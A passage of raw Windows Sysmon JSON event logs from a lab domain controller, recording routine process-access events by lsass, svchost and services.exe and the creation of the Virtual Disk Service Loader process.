11:49:56.392","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-001029250200}","TargetProcessId":"3124","TargetImage":"C:\\Windows\\system32\\wbem\\unsecapp.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1161,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.393\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.393","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1162,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.393\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.393","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1163,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.414\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010460F0200}\r\nTargetProcessId: 2760\r\nTargetImage: C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.414","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010460F0200}","TargetProcessId":"2760","TargetImage":"C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1164,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.414\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010460F0200}\r\nTargetProcessId: 2760\r\nTargetImage: C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.414","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010460F0200}","TargetProcessId":"2760","TargetImage":"C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1165,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.446\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 2684\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010460F0200}\r\nTargetProcessId: 2760\r\nTargetImage: C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.446","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"2684","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010460F0200}","TargetProcessId":"2760","TargetImage":"C:\\Windows\\ADWS\\Microsoft.ActiveDirectory.WebServices.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1166,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.446\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.446","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1167,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.446\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.446","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1168,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.458\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00104F490200}\r\nProcessId: 3344\r\nImage: C:\\Windows\\System32\\vdsldr.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Virtual Disk Service Loader\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: vdsldr.exe\r\nCommandLine: C:\\Windows\\System32\\vdsldr.exe -Embedding\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=E5C3B321907C73E782280BE427599F14,SHA256=43F0AF018DC498619222CF16E1C9BDE2F7710732686DC361E4D692B7EFB4DDF9,IMPHASH=D6207B24445355CEA1AC6C8E9A2BA2B9\r\nParentProcessGuid: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nParentProcessId: 588\r\nParentImage: C:\\Windows\\System32\\svchost.exe\r\nParentCommandLine: C:\\Windows\\system32\\svchost.exe -k DcomLaunch","Category":"Process Create (rule: 